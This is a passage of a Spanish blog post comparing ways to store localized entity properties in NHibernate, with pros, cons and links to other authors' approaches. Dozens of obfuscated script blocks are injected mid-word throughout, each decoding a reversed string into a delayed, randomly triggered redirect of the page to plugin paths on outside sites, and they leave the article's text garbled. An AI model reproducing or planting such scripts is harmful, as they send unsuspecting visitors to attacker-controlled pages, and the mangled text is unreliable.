delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to para el idioma actual (si es que esta funcionalidad no la implementamos en nuestro propio diccionario).</p>
<p>Ventajas:</p>
<ul>
<li>Sencillo de realizar</li>
<li>No se necesitan tablas adicionales</li>
<li>Transparente</li>
</ul>
<p>Inconvenientes:</p>
<ul>
<li>Al ser un campo calculado, no permite usar ORDER BY</li>
<li><span style="text-decoration: line-through">La propiedad no puede ser un string</span></li>
</ul>
<p><strong>Mé<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo 2: Almacenar la propiedad en otras tablas</strong></p>
<p>Hay varios ejemplos de cómo realizar es<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to, básicamente se trata de mapear la propiedad a una estructura de tipo diccionario donde se almacenan las distintas traducciones del valor de la propiedad indexadas por código de la localización (bien en tex<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to o usando el LCID). Es<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to se puede hacer más o menos complejo, pero fundamentalmente el principio es el mismo.</p>
<p>Todo es<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to se suele apoyar en una clase que se encarga de almacenar el diccionario de localizaciones y provee mé<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todos para añadir, eliminar y obtener de forma sencilla dichas cadenas, haciendo uso del Thread.CurrentThread.CurrentCulture para obtener el idioma seleccionado actualmente.</p>
<p>Como no, <a href="http://ayende.com/Blog">Ayende</a> ofrece una solución al problema basada en la simplicidad en <a href="http://ayende.com/Blog/archive/2006/12/26/localizingnhibernatecontextualparameters.aspx">Localizing NHibernate: Contextual Parameters</a>, usando una fórmula en el mapping para obtener la propiedad Name de la entidad y un filtro en la sesión para que funcione la fórmula. Igual no soluciona los problemas en <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todos los escenarios, pero es una lectura interesante.</p>
<p>En esta otra propuesta de <a href="http://www.webdevbros.net">WebDevBros</a>, Michal nos propone <a href="http://www.webdevbros.net/2009/06/24/create-a-multi-languaged-domain-model-with-nhibernate-and-c/" class="broken_link">Create a multi languaged domain model with NHibernate and C#</a>. Muy interesante. Por un lado, se crean dos tablas, una con los diferentes diccionarios que corresponderán a las distintas propiedades a localizar, y otra tabla con los valores de cada diccionario, que se mapea con un &lt;map&gt; de forma sencilla. También una clase que sirve para contener las traducciones y facilitar el acceso a las mismas.</p>
<p>En esta misma linea, Siim Viikman muestra en <a href="http://www.siimviikman.com/2010/02/24/mapping-translations-in-nhibernate/">Mapping translations in NHibernate</a> una aproximación muy similar a la anterior que conviene también leer porque aporta otra variante a la solución. Esta quizás no es tan cómoda de usar como la anterior pero puede tener sus ventajas.</p>
<p>En <a href="http://www.codewrecks.com/blog/index.php?p=41" class="broken_link">Localizable entities with Nhibernate</a> (<a href="http://www.codewrecks.com/blog/index.php?p=41" class="broken_link">Part1</a>, <a href="http://www.codewrecks.com/blog/index.php?p=42" class="broken_link">Part2</a> y <a href="http://www.codewrecks.com/blog/index.php/2007/05/23/localize-entity-with-nhibernate-part-3/" class="broken_link">Part3</a>), Alkampfer propone una solución algo compleja, que se basa en un obje<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to que mantiene el idioma actual seleccionado durante el ciclo de vida de la aplicación y en una clase de apoyo que gestiona las traducciones. Es de lectura muy interesante aunque en mi opinión se puede hacer lo mismo evitando el obje<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Registry que crea y usando <em>Thread.CurrentThread.CurrentCulture</em>.</p>
<p>Ventajas:</p>
<ul>
<li>Uso de <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todas las posibilidades de la base de da<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos y SQL</li>
</ul>
<p>Inconvenientes:</p>
<ul>
<li>Mapeo más complejo (dificil en algunos casos o imposible usando Fluent NHibernate)</li>
<li>Más tablas, más da<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos</li>
</ul>
<p><strong>Conclusión</strong></p>
